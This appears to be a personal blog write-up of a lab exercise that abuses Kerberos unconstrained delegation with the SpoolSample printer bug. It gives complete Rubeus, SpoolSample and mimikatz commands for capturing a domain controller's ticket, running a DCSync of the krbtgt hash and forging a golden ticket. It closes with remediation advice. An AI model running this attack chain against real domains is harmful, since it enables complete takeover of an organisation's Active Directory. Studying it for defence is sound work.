Original blog post:

Unconstrained Delegation + The Printer Bug = DCSync

TLDR;

Nothing new under the sun, this post is just part of my series of experiments and practice of active directory exploitation. We’re going to exploit the well-known issue of Kerberos Unconstrained Delegation using the Printer Bug.

Will Harmjoy and Co. used this technique to cross the forest boundary in particular scenarios, but since I’m a little boy we’ll start small and care only about the domain context.

The Theory

Today we’re going to see how to exploit unconstrained delegation with the objective of compromising the whole AD domain. But what’s unconstrained delegation?

Well Kerberos is a mess so I’ll do my best to be as clear as possible, if I missed something let me know! Sadly I have to assume that the reader has a basic Kerberos knowledge (what is a TGT, a TGS and so on)

Let’s start with a scenario like this:

where we want to achieve the following:

The client wants to authenticate using Kerberos to the first server (Hop 1) and the first server needs to access resources on the second server (Hop 2) on behalf of the client. A common scenario is a user that access a frontend application that needs to modify resources on a database server.

Vanilla Kerberos has no way of telling the first server: “OK you can access resources of server 2 on client’s behalf”

This is known as the Kerberos Double Hop issue.

This is where unconstrained delegation comes into play, when the client sends a TGS to access the first server with unconstrained delegation they will attach their TGT in the same request. In this way the first hop server has a TGT for the client’s account, and can request a TGS to access the second hop server on their behalf.

So what’s the problem with that? Well, if an attacker compromises a server with unconstrained delegation enabled, they can extract TGTs of the accounts that have attempted a connection to the first hop server.

How can we force a connection to a server with unconstrained delegation? I’ll give you a few options:

Responder

ARP Poisoning

Rogue DHCPv6

Phish an adin

SpoolSample

In this post we’ll cover the SpoolSample scenario.

So what’s SpoolSample? It’s a PoC to coerce a Windows host to authenticate to an arbitrary server using a “feature” in the MS-RPRN RPC interface ( https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1)

The attack will work as following:

Identify the servers with unconstrained delegation.

Compromise one of those servers.

Use SpoolSample to force the domain controller machine to authenticate to the previously compromised machine.

Extract the domain controller’s TGT from LSASS’s memory.

Inject the TGT into the current low privileged user context.

DCSync the hell out of the domain.

(mis)configuring the environment

In order to configure unconstrained delegation we need to use the Active Directory Users and Computers Tool (ADUC) under the Server Manager Dashboard:

The computer we’re going to configure with delegation is “HELPDESK”, so let’s right click on it and go on Properties.

In the Delegation tab you’ll see that the default value for a regular computer is “Do not trust this computer for delegation”, as shown in the figure below:

cool cool cool, but let’s change it to “Trust this computer for delegation to any service”:

and apply.

Congratulations! You just configured unconstrained delegation!

Not let’s shift to the attacker perspective and start smashing this bad boi.

Reconnaissance

For the reconnaissance phase I’m going to use the mighty AD module ( https://github.com/samratashok/ADModule). While I know that nowdays PowerShell is monitored as hell, this is not a red teaming exercise where we need to stay low.

NOTE: I’m skipping how to import the module, download it and Import-Module

The cmdlet we’re going to use is the following, we’re seeking computer objects with the property TrustedForDelegation set to true:

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

As it is possible to see, we have two computers in the HACKER.lab domain with unconstrained delegation:

The domain controller dc01.hacker.lab, which is perfectly fine since domain controllers usually have unconstrained delegation enabled

The helpdesk.hacker.lab computer, this is our target.

Exploitation

In order to exploit unconstrained delegation we need to compromise the system with the delegation enabled, in this post we’ll assume that we already did it.

Some of the ways in which we could have compromised that system are the following:

The computer had an ACL misconfiguration which allowed us to compromise it (https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/)

The computer was managed by a user we compromised

A GPO we have control over was applied to the target computer

The exploitation of unconstrained delegation implies that we force a privileged user to connect to the system with the delegation enabled.

We could achieve this in multiple ways, but since we’re so cool we’re going to use the SpoolSample bug to force a domain controller account to connect to us ( https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory)

but before doing that we’re setting up Rubeus on the machine we compromised to listen for incoming authenticated connections.

In order to monitor for incoming connections with Rubeus we need to run the following command from an elevated context:

Rubeus.exe monitor /interval:1

To execute the SpoolSample bug we’re using the tool written by Lee Christensen ( https://github.com/leechristensen/SpoolSample) with the following syntax:

.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB

where:

DC01.HACKER.LAB is the domain controller we want to compromise

is the domain controller we want to compromise HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

in Rubeus you should see something like this:

that means that the computer object HACKER.LAB\DC01$ connected to the machine we control, since unconstrained delegation was enabled on that machine we now have a valid TGT we can use to impersonate the domain controller machine account!

(I got this amazing sticker from https://www.redbubble.com/people/gentilkiwi/works/32422547-mimikatz-dcsync-and-dcshadow?p=sticker)

Grab the base64 blob you got from Rubeus and run the following command, from a regular user’s context:

Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQwbCkhBQ0tFUi5MQUKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkhBQ0tFUi5MQUKjggPCMIIDvqADAgES[SNIP]

If everything went well, you should be able to see the TGT of the DC01$ account with a Rubeus.exe klist :

magic, awesome, beautiful.

What can we do now? By default the domain controller computer account has DCSync rights over the domain object, as you can see from the BloodHound screenshot below:

If you’re familiar with BloodHound you can see that the object DC01.HACKER.LAB is part of the group “Domain Controllers”, which has GetChangesAll over the domain object HACKER.LAB. Which, as you can guess, means that if we manage to impersonate the DC01 account we can DCSync and retrieve the NTLM hash of every user in the domain.

With mimikatz we can simply lsadump::dcsync /user:HACKER\krbtgt to get the NTLM hash of the krbtgt account:

Game over, we can now forge golden tickets to do all the greasy dirty stuff we all like to do.

Just to give this post a proper end, let’s forge a golden ticket with Mimikatz for the user HACKER\Administrator:

kerberos::golden /user:Administrator /domain:hacker.lab /sid:S-1-5-21-1559558046-1467622633-168486225 /krbtgt:9974f218204d6b8109ea99ae9c209f23 /ptt

We can now PS remote into the domain controller as the user Administrator:

Remedial Actions

The general recommendation would be to use constrained delegation instead of the unconstrained one.

With constrained delegation you (sysadmin) specify the services that the server with delegation enabled can access while impersonating another user. However constrained delegation is not the silver bullet, and in specific cases can be even more dangerous than unconstrained delegation (you don’t need to force a connection to the server to trigger S4U and impersonate someone, plus the service part of the SPN is not validated)

Resource-based constrained delegation seems to be a valid alternative, in fact it’s the backend server (the server which needs to be accessed with the delegation) that decides which principals can access it.

Resources